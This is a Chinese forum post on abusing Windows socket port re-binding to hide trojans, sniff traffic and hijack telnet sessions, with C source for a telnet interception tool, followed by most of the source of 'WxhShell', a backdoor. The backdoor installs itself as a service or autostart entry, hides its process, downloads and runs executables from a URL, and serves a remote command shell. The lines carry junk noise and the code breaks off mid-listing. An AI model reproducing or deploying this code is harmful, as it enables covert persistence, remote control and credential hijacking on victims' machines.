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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @BbZ(cZ*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~cz] Rhq  
[y\ZnoB  
  saddr.sin_family = AF_INET; o*:VG\#Z6  
.6 !IO^`[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j2cLb  
v'a]SpE5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jj0@ez{3  
g.kpUs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `)`_G!a  
P!,\V\TY]  
  这意味着什么?意味着可以进行如下的攻击: ge`)sB,  
Cnd*%CPZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }; +'  
4};!nYey!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y$--Hp4   
?;0=>3p*0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u'd+:uH  
NZ e3 m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t ^&:45~Q  
K?BWl:^x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b+'G^!JR  
:@wO' o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qDM/ 6xO  
Z_iu^ Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zG[fPD  
P0Ds7xh]h  
  #include X8ev uN  
  #include  / >Wh  
  #include "monuErg&  
  #include    6.6~w\fR8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C(3yJzg>y  
  int main() C0jmjZ%w@  
  { =3{h9  
  WORD wVersionRequested; a { L`C"rJ  
  DWORD ret; UY5ia4_D  
  WSADATA wsaData; H #J"'  
  BOOL val; m1gJ"k6 `j  
  SOCKADDR_IN saddr; V8NJ0fF  
  SOCKADDR_IN scaddr; gu/eC  
  int err; ,vrdtL  
  SOCKET s; %Wom]/&,'  
  SOCKET sc; }Tu_?b`RUm  
  int caddsize; en=Z[ZIPO  
  HANDLE mt; "]LNw=S  
  DWORD tid;   HLN rI0  
  wVersionRequested = MAKEWORD( 2, 2 ); 6[69|&  
  err = WSAStartup( wVersionRequested, &wsaData );  c?}C {  
  if ( err != 0 ) { l'W?X '  
  printf("error!WSAStartup failed!\n"); x&l?Cfvv=  
  return -1; #"O9\X/B  
  } !}"npUgE  
  saddr.sin_family = AF_INET; zf$OC}|\w  
   !#rZ eDmw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K^J;iu4  
j~\\,fl=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C]W VH\P p  
  saddr.sin_port = htons(23); 7Hf6$2Wh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GL@s~_;T6  
  { lDe9EJR  
  printf("error!socket failed!\n"); 8!3+Obj  
  return -1; :B$=Pp1  
  } [^"e~  
  val = TRUE; <9"s&G@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9=rYzA?)+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3Nr8H.u&q  
  { ppR_y  
  printf("error!setsockopt failed!\n"); plsf` a  
  return -1; ,G"?fQ7zR  
  } vD:.1,72  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -3wg9uZ &  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YxS*im[%]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4J!1$   
HjGT{o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PgB=<#9  
  { :7W5R  
  ret=GetLastError(); r;O{et't7y  
  printf("error!bind failed!\n"); b7aAP*$  
  return -1; /%=#*/E7  
  } VY=~cVkzS  
  listen(s,2); E4}MvV=  
  while(1) xdYjl.f  
  { ;NRm ,  
  caddsize = sizeof(scaddr); x[WT)  
  //接受连接请求 |8`}yRsQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z'S>i*Ts  
  if(sc!=INVALID_SOCKET) - CM;sXq  
  { }9Y='+.%^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u+(e,t  
  if(mt==NULL) " 8;D^  
  { $T;3*D90  
  printf("Thread Creat Failed!\n"); gJs~kQU  
  break; d`({z]W;  
  } xS,):R  
  } \Q^\z   
  CloseHandle(mt); _qE2r^o"B  
  } CtjjN=59  
  closesocket(s); O- |RPW}  
  WSACleanup(); 86R}G/>>e  
  return 0; oJ6 d:  
  }   tE>3.0U0Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~{2@-qcm  
  { 'v6Rd )E\z  
  SOCKET ss = (SOCKET)lpParam; YH<@->Ip  
  SOCKET sc; 5wGyM10  
  unsigned char buf[4096]; 07/5RFmJ  
  SOCKADDR_IN saddr; }pTw$B  
  long num; g](m& O  
  DWORD val; <408lm  
  DWORD ret; <9@VY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `kekc.*-[@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZJR{c5TE  
  saddr.sin_family = AF_INET; Xk7zXah  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Aqp3amW!  
  saddr.sin_port = htons(23); 2cy{d|c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BOh&Db*  
  { U$Ew,v<  
  printf("error!socket failed!\n"); ORfA]I-u  
  return -1; *qz]vUb/0  
  } ghms-.:b8  
  val = 100; (\WePOy&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d%]7:  
  { i"_f46r P  
  ret = GetLastError(); #jDO?Y Sa  
  return -1; 78 UT]<Q;K  
  } Y~Jq!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v- {kPc=:#  
  { q07rWPM "e  
  ret = GetLastError(); 8Oc*<^{#  
  return -1; Aq";z.gi+  
  } kV(?u_ R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4Pz9&^K  
  { +A:}5{  
  printf("error!socket connect failed!\n"); qa%g'sB-b  
  closesocket(sc); d6M d~$R  
  closesocket(ss); Jwa2Y0  
  return -1; [q(7Jv  
  } !).D  
  while(1) cuSXv)  
  { JH?[hb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T.K$a\/{,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9I pjY~or  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y<#y3M!\  
  num = recv(ss,buf,4096,0); VBd.5YW  
  if(num>0) }O!LTD  
  send(sc,buf,num,0); o9Agx{'oV  
  else if(num==0) ^KlMBKWyB  
  break; cdEZ Y  
  num = recv(sc,buf,4096,0); g(<@r2p  
  if(num>0) 8ALYih7"W  
  send(ss,buf,num,0); /yH:ur  
  else if(num==0) U` bvv'38#  
  break; dc:|)bK M  
  } 6BMRl%3>Z  
  closesocket(ss); ]huqZI  
  closesocket(sc); -M(:z  
  return 0 ; FTk!Mn88  
  } .}z&$:U9[  
*8MU,6  
67J=#%\  
========================================================== M)-+j{<  
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下边附上一个代码,,WXhSHELL VxsW3*`  
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========================================================== 1?mQ fW@G  
< FN[{YsA  
#include "stdafx.h" LM<OYRB(  
-6DfM,  
#include <stdio.h> Zcdt\;HKr  
#include <string.h> Jzfz y0$  
#include <windows.h> \|wV Ii  
#include <winsock2.h> dGHRHXi  
#include <winsvc.h> B_@>HZ\&  
#include <urlmon.h> J *^|ojX  
K);:+s-  
#pragma comment (lib, "Ws2_32.lib") )Ax1?Nx$  
#pragma comment (lib, "urlmon.lib") |\elM[G"g  
L5PN]<~T  
#define MAX_USER   100 // 最大客户端连接数 f}#pKsX.  
#define BUF_SOCK   200 // sock buffer 191O(H  
#define KEY_BUFF   255 // 输入 buffer ]D(%Ku,O%  
Mi:$<fEX  
#define REBOOT     0   // 重启 "-N%`UA  
#define SHUTDOWN   1   // 关机 .D>%-  
R]L 7?=  
#define DEF_PORT   5000 // 监听端口 J]Uki*s  
O cm  
#define REG_LEN     16   // 注册表键长度 ZJI|762,  
#define SVC_LEN     80   // NT服务名长度 {TlS)i`  
r;}kw(ukC  
// 从dll定义API u:"mq.Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +&Sf$t 1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y{5ZC~Z<!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Gs)~T#'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z]"ktb;+[  
!`Bb[BTf  
// wxhshell配置信息 TRX; m|   
struct WSCFG { 6g( 2O[n.  
  int ws_port;         // 监听端口 (hdP(U77  
  char ws_passstr[REG_LEN]; // 口令 jC<<S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4l>/6LNMF  
  char ws_regname[REG_LEN]; // 注册表键名 m9xO& @#vx  
  char ws_svcname[REG_LEN]; // 服务名 Bd)Qz(>rw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \q%li)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %6dFACv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /]iv9e{uh(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D|6p rC%/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B9Y "J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LlX 7g _!  
7S1 Y)  
}; }.MJVB3  
zVJ wmp^  
// default Wxhshell configuration rp.JYz,  
struct WSCFG wscfg={DEF_PORT, 4vGkgH<,  
    "xuhuanlingzhe", ImyB4welo  
    1, [ gx<7}[  
    "Wxhshell", t&H):P  
    "Wxhshell", Y7]N.G3,]  
            "WxhShell Service", :Uj+iYE8Z8  
    "Wrsky Windows CmdShell Service", ,W7\AY07]  
    "Please Input Your Password: ", Tld %NE  
  1, Y(W>([59  
  "http://www.wrsky.com/wxhshell.exe", u m(A3uQ  
  "Wxhshell.exe" IWsB$T  
    }; &*/8Ojv)9  
xG\&QE  
// 消息定义模块 buG0#:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vw>O;u.]B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F=$2Gz 'RT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;v*$6DIC5  
char *msg_ws_ext="\n\rExit."; aKkQXq*  
char *msg_ws_end="\n\rQuit."; F+v?2|03  
char *msg_ws_boot="\n\rReboot..."; c7L#f=Ot?  
char *msg_ws_poff="\n\rShutdown..."; TY5<hPU=  
char *msg_ws_down="\n\rSave to "; v/}M _E  
/`?i&\C3r  
char *msg_ws_err="\n\rErr!"; 3[pA:Z+xx  
char *msg_ws_ok="\n\rOK!"; [ % KBc}  
W9t%:wF  
char ExeFile[MAX_PATH]; `oXUVr  
int nUser = 0; w}K<,5I>  
HANDLE handles[MAX_USER]; |9{l8`9}_  
int OsIsNt; n!~{4 uUW  
n*{e0,gp`  
SERVICE_STATUS       serviceStatus; <RKh%4#~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w%GEOIj}  
Qj VP]C}p  
// 函数声明 c<r`E  
int Install(void); F !tn|!~  
int Uninstall(void); ,H'O`oV!1E  
int DownloadFile(char *sURL, SOCKET wsh); (iIJ[{[H4)  
int Boot(int flag); d_-{-@  
void HideProc(void); *ukE"Aj  
int GetOsVer(void); xbxU`2/  
int Wxhshell(SOCKET wsl); v1 d]  
void TalkWithClient(void *cs); GX4# IRq  
int CmdShell(SOCKET sock); ^ RU"v>  
int StartFromService(void); [mYmrLs6  
int StartWxhshell(LPSTR lpCmdLine); jt@k< #h~  
#f5-f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,/BBG\mJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D[x0sly  
!ANvXPp  
// 数据结构和表定义  I@08F  
SERVICE_TABLE_ENTRY DispatchTable[] = 22a$//}E  
{ WFocA:  
{wscfg.ws_svcname, NTServiceMain}, ff**)Xdh  
{NULL, NULL} Q|rrbxb  
}; B<T wTv  
m,K0BL  
// 自我安装 Mf^ ;('~  
int Install(void) 4Cr |]o'  
{ !G.)%+Z  
  char svExeFile[MAX_PATH]; oC#@9>+@+"  
  HKEY key; B8NOPbT  
  strcpy(svExeFile,ExeFile);  )f>s\T  
\::<]  
// 如果是win9x系统,修改注册表设为自启动 oIdMDp^$  
if(!OsIsNt) { ^EdY:6NJ=A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yHT8I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q %i2' yE  
  RegCloseKey(key); qiV#T +\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /[`bPKr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |XzqP +t  
  RegCloseKey(key); :(VD<"X  
  return 0; 9]r6V   
    } ZC'(^liAp  
  } {wiw]@c8  
} &uI`Xq.  
else { BX;Z t9"*  
J~9l+?  
// 如果是NT以上系统,安装为系统服务 ABvB1[s#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]e@'9`G-'  
if (schSCManager!=0) rIR~YMv!  
{ QXqBb$AXi,  
  SC_HANDLE schService = CreateService 3#}5dO  
  ( 1Rc'2Y  
  schSCManager, 6":=p:PT.  
  wscfg.ws_svcname, /xj^TyWM  
  wscfg.ws_svcdisp, JL45!+  
  SERVICE_ALL_ACCESS, )"s <hR ,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |f;u5r!^=  
  SERVICE_AUTO_START, 48nZ H=(Eh  
  SERVICE_ERROR_NORMAL, $q.% 4  
  svExeFile, a^t#kdT  
  NULL, D6@c&  
  NULL, ZNNgi@6>  
  NULL, T|`nw_0  
  NULL, E+k#1c|v$  
  NULL vzA)pB~;  
  ); CKeT%3  
  if (schService!=0) 4Z5ZV!  
  { J=|PZ2"  
  CloseServiceHandle(schService); E8j>Toz  
  CloseServiceHandle(schSCManager); *}DCxv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z_Ffiw(p  
  strcat(svExeFile,wscfg.ws_svcname); BWV)> -V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i;>Yx#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B%QvFxZz  
  RegCloseKey(key); E-\Wo3  
  return 0; H`|8x4  
    } Ucr$5^ME  
  } U[1Rw6  
  CloseServiceHandle(schSCManager); \7o&'zEw  
} P0,@#M&  
} Y3^UJe7E  
PoTJ4z  
return 1;  _dCdyf  
} H y}oSy26  
9cQZ`Ex  
// 自我卸载 BnJpC<xm  
int Uninstall(void) %X)w$}WH  
{ NbnahhS  
  HKEY key; NH+?7rf8  
c&4EO|  
if(!OsIsNt) { r$<-2lW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u*LMpTnn  
  RegDeleteValue(key,wscfg.ws_regname); eU/o I}A  
  RegCloseKey(key); _M[@a6?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l12Pj02w  
  RegDeleteValue(key,wscfg.ws_regname); 5Us$.p  
  RegCloseKey(key); =GH>-*qp  
  return 0; Uj]Tdg  
  } Mkc   
} x~3N})T5  
} S~L;oX?(!  
else { &d}1) ?  
~^Ceru"<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZbBz@1O  
if (schSCManager!=0) qaE>])  
{ |7XPu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $#2zxpr,  
  if (schService!=0) r:rM~``  
  { ?fv5KdD  
  if(DeleteService(schService)!=0) { ~@Yiwp\"  
  CloseServiceHandle(schService); F_C7S  
  CloseServiceHandle(schSCManager); bxU2.YC  
  return 0; #GoZH?MAF  
  } ldFK3+V  
  CloseServiceHandle(schService); ^LAP*R  
  }  al#BfcZW  
  CloseServiceHandle(schSCManager); 6b!F7ky g  
} )I&,kH)+  
} 'c]Fhe fb  
4\?z^^  
return 1; (%N=7?  
} ,oin<K  
MZ$x(Vcj  
// 从指定url下载文件 /2s=;tA1  
int DownloadFile(char *sURL, SOCKET wsh) 10gh4,z[  
{ Sm7O%V8{p  
  HRESULT hr; dUvgFOy|P  
char seps[]= "/"; U!y GZEU"[  
char *token; ^$>Q6.x?*)  
char *file; #3 ~#`&  
char myURL[MAX_PATH]; W{@,DQ  
char myFILE[MAX_PATH]; NUN~T (  
'?gF9:  
strcpy(myURL,sURL); 4LY$;J;2  
  token=strtok(myURL,seps); )G+D6s23  
  while(token!=NULL) [}+h86:y  
  { *#y9P ve  
    file=token; 7M.TLV!f]  
  token=strtok(NULL,seps); " J4?Sb<  
  } /s~(? =qYH  
G~ONHXL  
GetCurrentDirectory(MAX_PATH,myFILE); O-3R#sZ0  
strcat(myFILE, "\\"); p~A6:"8s`=  
strcat(myFILE, file); ~9We)FvU4  
  send(wsh,myFILE,strlen(myFILE),0); .EfGL _  
send(wsh,"...",3,0); E*"-U!?)l2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n1Z*wMwC  
  if(hr==S_OK) "AuU5G 9'I  
return 0; qx'F9I  
else \D5_g8m:  
return 1; hY(q@_s  
kJ_XG;8  
} p=T6Ix'_2e  
s$3WJ'yr  
// 系统电源模块 uS|f|)U&  
int Boot(int flag) IM(=j  
{ 9Od|R"aS|  
  HANDLE hToken; aYmN' POi  
  TOKEN_PRIVILEGES tkp; zI& ).  
df R?O#JPU  
  if(OsIsNt) { ?l?_8y/ww  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fo;.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (GJX[$@  
    tkp.PrivilegeCount = 1; krSOSW J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "t >WM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w:|YOeP  
if(flag==REBOOT) { &eIwlynm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =vD}O@tN  
  return 0; @"vTz8oY@  
} VD0U]~CWR  
else { o%3VE8-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [E:-$R  
  return 0; {^N90,!  
} Dy|DQ>?}  
  } Bc1MKE5  
  else { |n~Vpy  
if(flag==REBOOT) { dx)v`.%V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y}hz UKJ  
  return 0; x)prI6YMv\  
} ,&aD U  
else { r Cn"{.rI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &aWY{ ?_  
  return 0; L.$+W}  
} _Z3_I_lW  
} B[{Ie G'  
>vk?wY^f  
return 1; n,o;:c  
} <^YZ#3~1T  
F^}n7h=qk  
// win9x进程隐藏模块 gt:Ot0\7  
void HideProc(void) nk+*M9r|I  
{ %q5iy0~P  
m9li%p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xOXCCf/  
  if ( hKernel != NULL ) JrVBd hLr  
  { ealh>Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^J7g)j3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f')3~)"  
    FreeLibrary(hKernel); &xjeZh4-  
  } V[BlT|t  
pgU4>tyD  
return; "Qxn}$6-  
} sow/JLlbC  
Gj(UA1~1  
// 获取操作系统版本 :fE*fU@  
int GetOsVer(void) ?$\y0lHw/7  
{ *3We5  
  OSVERSIONINFO winfo; -"Q[n,"Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z0m[25FQG  
  GetVersionEx(&winfo); ,wlSNb@'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~*Ir\wE  
  return 1; Y2Y!^A89  
  else t?j2Rw3f`I  
  return 0; ;q&\>u:  
} 3kBpH7h4  
: j m|)  
// 客户端句柄模块 tXIre-. 2}  
int Wxhshell(SOCKET wsl) B(%bBhs  
{ |uE _aFQs  
  SOCKET wsh; pd{;`EW|  
  struct sockaddr_in client; oNV(C'A  
  DWORD myID; Ev\kq>2 O  
{\HE'C/?  
  while(nUser<MAX_USER) A*:(%!  
{ y[!4M+jj  
  int nSize=sizeof(client); e[@ ^UY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d#eHX|+  
  if(wsh==INVALID_SOCKET) return 1; /@bLc1"  
UVD::  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m 5NF)eL  
if(handles[nUser]==0) 3*gWcPGe  
  closesocket(wsh); 6)eU &5z1?  
else u? f3&pA  
  nUser++; =`X ;fz  
  } uGQCW\!"4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'c<@SVF{Zz  
@zJ#16V i  
  return 0; NB&u^8b  
} (;T; ?v`-  
DOWUnJ;5  
// 关闭 socket m(3bO[u1  
void CloseIt(SOCKET wsh) 4[!&L:tR  
{ o+O\VNW  
closesocket(wsh); `q exEk@S  
nUser--; '+X9MzU*\  
ExitThread(0); 9& W\BQ  
} ^tuJM:  
g-%uw[pf  
// 客户端请求句柄 Z3R..vy8  
void TalkWithClient(void *cs) nu$LWC-  
{ ,7M9f  
@ec QVk  
  SOCKET wsh=(SOCKET)cs; zF]hf P0Q  
  char pwd[SVC_LEN]; ZF;S}1  
  char cmd[KEY_BUFF]; 3MjMN%{P  
char chr[1]; S&]:=He  
int i,j; 'EREut,>'  
-JZl?hY(  
  while (nUser < MAX_USER) { zPV/{)S  
~9oS~fP?I  
if(wscfg.ws_passstr) { (7ew&u\Li  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !4jS=Lhe>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `s:| 4;.  
  //ZeroMemory(pwd,KEY_BUFF); =WEfo;  
      i=0; i%*x7zjY{  
  while(i<SVC_LEN) { s !8]CV>  
{=g-zsc]K  
  // 设置超时 O:7y-r0i  
  fd_set FdRead; rP`\<}a.  
  struct timeval TimeOut; 59^@K"J  
  FD_ZERO(&FdRead); hkU# lt  
  FD_SET(wsh,&FdRead); FcW ?([l  
  TimeOut.tv_sec=8; S|]~,l2]}  
  TimeOut.tv_usec=0; ;5Sr<W\:;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J*U(f{Q(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u khI#:[  
j9u-C/Q\r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~+lC %R  
  pwd=chr[0]; yl'~H;su  
  if(chr[0]==0xd || chr[0]==0xa) { !)9zH  
  pwd=0;  Uero!+_  
  break; i ^IvT  
  } s*l_O* $'  
  i++; 7GP?;P  
    } fRa1m?%s  
6U /wFT!7$  
  // 如果是非法用户,关闭 socket ]owH [wvX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,OasT!Sr  
} `a6;*r y  
2hu6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mtOrb9` m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S,8zh/1y  
MW$9,[  
while(1) { DSjo%Brd-  
_?r+SRFn  
  ZeroMemory(cmd,KEY_BUFF); by06!-P0[  
&1[5b8H;+  
      // 自动支持客户端 telnet标准   1Xs! ew)>  
  j=0; rzTyHK[  
  while(j<KEY_BUFF) { <K0lS;@K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZbGyl}8ua  
  cmd[j]=chr[0]; 8p211MQ<  
  if(chr[0]==0xa || chr[0]==0xd) { Rxli;blzi  
  cmd[j]=0; N4Lk3]  
  break; b R6bS7$  
  } cu"%>>,,  
  j++; ;dWqMnV  
    } ~xJD3Qf  
K7l{&2>?  
  // 下载文件 VC+\RB#:-  
  if(strstr(cmd,"http://")) { <^~F~]wnH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d}=p-s.GA  
  if(DownloadFile(cmd,wsh)) t!=S[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7RLh#D|  
  else p&\uF#I;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @<PL  
  } UEeqk"t^  
  else { -?(RoWv@X&  
i!HGM=f  
    switch(cmd[0]) { E.6\(^g  
  hnZHu\EJ  
  // 帮助 b?^n'0  
  case '?': { 5R Hs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /f[_]LeV]  
    break; S&Sf}uK  
  } qa~[fORO[  
  // 安装 !+6l.`2WI  
  case 'i': { + ND9###  
    if(Install()) mOB\ `&h5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4_Jdh48-d  
    else >H1d9y +Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hJ<2bgQo  
    break; ^ \?9W  
    } la4 ,Z  
  // 卸载 UE4#j \  
  case 'r': { zaZ}:N/w(z  
    if(Uninstall()) fz&}N`n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uS'ji k}  
    else w}0Qy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Gn[T1p?  
    break; ,fw[J  
    } ~c^-DAgB  
  // 显示 wxhshell 所在路径 6&Dvp1`m  
  case 'p': { `O{Uz?#*x  
    char svExeFile[MAX_PATH]; W!k6qTz)  
    strcpy(svExeFile,"\n\r"); IMZKlU3  
      strcat(svExeFile,ExeFile); XbC8t &Q],  
        send(wsh,svExeFile,strlen(svExeFile),0); yFt7fdl2  
    break; C\^K6,m5  
    } ;$QJnQ"R  
  // 重启 *eP4dGe&  
  case 'b': { z aF0nov  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z|c9%.,  
    if(Boot(REBOOT)) ECScx02  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ic K=E ]p  
    else { mz*z1`\7v\  
    closesocket(wsh); xgz87d/<:  
    ExitThread(0); ?/( K7>`  
    } i!3KG|V  
    break; FW DuH`-5  
    } x]oQl^ F  
  // 关机 ^wa9zs2s;/  
  case 'd': { 1Ol]^ 'y7)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F9\Ot^~  
